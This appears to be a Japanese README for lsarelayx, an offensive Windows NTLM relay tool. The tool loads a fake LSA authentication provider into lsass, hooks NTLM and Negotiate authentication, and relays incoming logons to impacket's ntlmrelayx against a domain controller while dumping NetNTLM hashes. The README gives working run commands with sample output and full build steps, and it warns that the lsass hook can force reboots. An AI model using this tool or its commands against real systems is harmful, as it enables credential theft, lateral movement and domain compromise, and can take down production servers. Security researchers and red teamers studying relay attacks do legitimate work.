
lsarelayxは、システム全体のNTLMリレーツールであり、実行中のホストへの着信NTLMベースの認証をリレーするために設計されています。lsarelayxは、SMBを含むあらゆる着信認証要求をリレーします。既存のアプリケーション認証フローにフックするため、リレー完了後、元の認証要求にもサービスを提供しようと試みます。これにより、ターゲットアプリケーション/プロトコルがエラーを表示するのを防ぎ、lsarelayxホストに対して認証を行うエンドユーザーにとっては通常通り機能します。
lsarelayxは3つの部分から構成されます。liblsarelay.dll内に実装された偽のLSA認証プロバイダ、制御インターフェースとしてのユーザーモードコンソールアプリケーション、そしてRAWという新しいntlmrelayxサーバーモジュールです。
liblsarelayx.dllは、lsarelayxによってロードされるLSA認証プロバイダです。その主な目的は、NTLMおよびNegotiateパッケージをフックして、認証要求をローカル名前付きパイプを介してlsarelayxにリダイレクトし、NetNTLMハッシュのリレーとダンプを行うことです。liblsarelayxは可能な限りシンプルに設計されており、すべての重い処理はlsarelayxによって実行されます。
lsarelayx.exeは、カスタムLSA認証プロバイダ(liblsarelayx.dll)をロードし、認証プロバイダからのNTLMおよびNegotiateトークンを受信してntlmrelayxのRAWサーバーモジュールにリレーするためのメインコンソールアプリケーションです。また、リレーされたユーザーのグループ情報をキャプチャし、LSA認証プロバイダに返すために使用されるLDAPクエリも実行します。
impacketのntlmrelayxは、リレー攻撃を実装するために多大な作業を行っており、今後も改善と新たな攻撃の追加が続くでしょう。これを活用するため、lsarelayx内で直接攻撃を再実装する代わりに、RAWと呼ばれる新しいntlmrelayxサーバーモジュールが作成されました。現在、RAWサーバーモジュールを実装したGitHub上のPRが公開されています。RAWサーバーモジュールはプロトコルに依存せず、lsarelayxのようなサードパーティソフトウェアから生のNTLMメッセージを直接受け入れるように設計されています。
PRがメインラインのimpacketリポジトリにマージされるまでは、このバージョンを使用できます。
まず、ntlmrelayx RAWサーバーモジュールを起動して、lsarelayxから渡されるRAW NTLMメッセージを待ち受けます。
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan
Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
lsarelayx自体を実行するにはローカル管理者権限が必要です。アクティブリレーモードで実行するには、ntlmrelayxがRAWサーバーモジュールを実行しているホストアドレスを指定する必要があります。デフォルトポートは6666です。これは--port引数でオーバーライドできますが、ntlmrelayx側でも--raw-port引数を使用してポートをオーバーライドしていることを確認してください。
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
lsarelayxは引数なしで実行することでパッシブモードでも動作します。
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
liblsarelayx DLLがlsassにロードされると、LSAプラグインの仕組みの制限により、現在のところアンロードできません。クライアントを閉じることでDLLを休止状態にすることはできますが、DLLは再起動まで使用され続けます。DLLが再び起動するまで休止状態になります。
LSAプラグインは実際には正規のプラグインではないため、プラグイン内にリフレクティブ・ローダーを実装し、自由に停止・起動できるようにする計画がありますが、それは別の機会に譲ります。
開発はWindows 10およびServer 2016で行われました。Windows Server 2012 R2で簡単なテストを行い動作しましたが、フックのオフセット計算が2012では失敗する可能性があります(これはlookuppackage-hint=を使用して手動で指定できます。間違えるとWindowsが再起動します)。デスクトップ側ではWindows 10未満のテストは行っておらず、Server 2019では全くテストしていません。
liblsarelayx.dllは、重要なlsass.exeプロセス内にロードされます。liblsarelayx.dllにlsass.exeをクラッシュさせるバグがある場合、ホストは60秒後に必ず再起動します。バグのないコードを書くための最善の努力は払っていますが、何も保証はできません。lsarelayxを使用して、多忙なファイルサーバーをダウンさせ、フォーチュン500のクライアントを倒しても泣きついてこないでください。
Dockerがインストールされている場合、これが最も迅速な方法です。すべてのビルド依存関係がプリインストールされたccob/windows_crossイメージを使用します。
docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"
docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"
Linuxでは、CMakeツールチェーンとMinGWコンパイラを使用します。これらは事前にインストールしておく必要があります。マネージドコンポーネントについては、.NET Coreからdotnetコマンドラインツールもインストールされていることを確認してください。
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip
Windowsでは、ビルドを試みる前に完全なCMake、MinGW、Visual Studioのセットアップが必要であり、開発環境がインストールされていない場合、最も面倒なビルド方法です。
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip